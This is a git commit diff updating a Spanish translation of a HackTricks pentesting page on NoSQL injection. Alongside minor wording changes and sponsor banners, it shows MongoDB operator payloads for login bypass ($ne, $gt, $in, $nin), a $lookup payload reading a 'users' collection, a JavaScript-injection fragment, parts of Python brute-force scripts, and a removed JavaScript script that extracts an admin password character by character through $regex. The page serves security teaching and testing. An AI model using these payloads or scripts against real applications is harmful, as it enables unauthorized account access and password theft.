Translated ['pentesting-web/nosql-injection.md'] to es

This commit is contained in:
Translator 2024-03-03 09:49:57 +00:00
parent 99b9482175
commit 468bdf6593

View file

@ -1,4 +1,4 @@
# Inyección NoSQL
# Inyección de NoSQL
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -10,12 +10,12 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -40,7 +40,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
```
### Bypass de autenticación básica
**Usando no igual ($ne) o mayor que ($gt)**
**Usando no igual ($ne) o mayor ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
@ -105,9 +105,11 @@ Utilizando el operador **$func** de la biblioteca [MongoLite](https://github.com
```
![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png](<../.gitbook/assets/image (468).png>)
### Obtener información de diferentes colecciones
### Obtener información de una colección diferente
Es posible utilizar [$lookup](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) para obtener información de una colección diferente. En el siguiente ejemplo, estamos leyendo de una **colección diferente** llamada **`users`** y obteniendo los **resultados de todas las entradas** con una contraseña que coincida con un comodín.
Es posible utilizar [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) para obtener información de una colección diferente. En el siguiente ejemplo, estamos leyendo de una **colección diferente** llamada **`users`** y obteniendo los **resultados de todas las entradas** con una contraseña que coincida con un comodín.
**NOTA:** `$lookup` y otras funciones de agregación solo están disponibles si la función `aggregate()` se utilizó para realizar la búsqueda en lugar de las funciones más comunes `find()` o `findOne()`.
```json
[
{
@ -167,40 +169,6 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## Script de Blind NoSQL
En lugar de usar una técnica de inyección NoSQL basada en errores, también podemos usar una técnica de inyección NoSQL ciega. Aquí hay un script de ejemplo que puede usar para realizar una inyección NoSQL ciega:
```javascript
const axios = require('axios');
async function blindNoSQLScript() {
let password = '';
let characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
for (let i = 0; i < 8; i++) {
for (let char of characters) {
const payload = {
username: 'admin',
password: {$regex: `^${password}${char}`},
};
const response = await axios.post('http://targetwebsite.com/login', payload);
if (response.data.success) {
password += char;
console.log('Found character: ', char);
break;
}
}
}
console.log('Final password: ', password);
}
blindNoSQLScript();
```
Este script intenta adivinar la contraseña de un usuario utilizando una técnica de inyección NoSQL ciega. Itera a través de los caracteres alfanuméricos y los agrega a la contraseña hasta que se completa.
```python
import requests, string
@ -238,7 +206,7 @@ password += c
```
### Ataque de fuerza bruta a nombres de usuario y contraseñas desde POST login
Este es un script simple que podrías modificar, pero las herramientas anteriores también pueden realizar esta tarea.
Este es un script sencillo que podrías modificar, pero las herramientas anteriores también pueden realizar esta tarea.
```python
import requests
import string
@ -307,7 +275,7 @@ Otras formas de apoyar a HackTricks:
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las **herramientas comunitarias más avanzadas del mundo**.\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las **herramientas comunitarias más avanzadas** del mundo.\
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}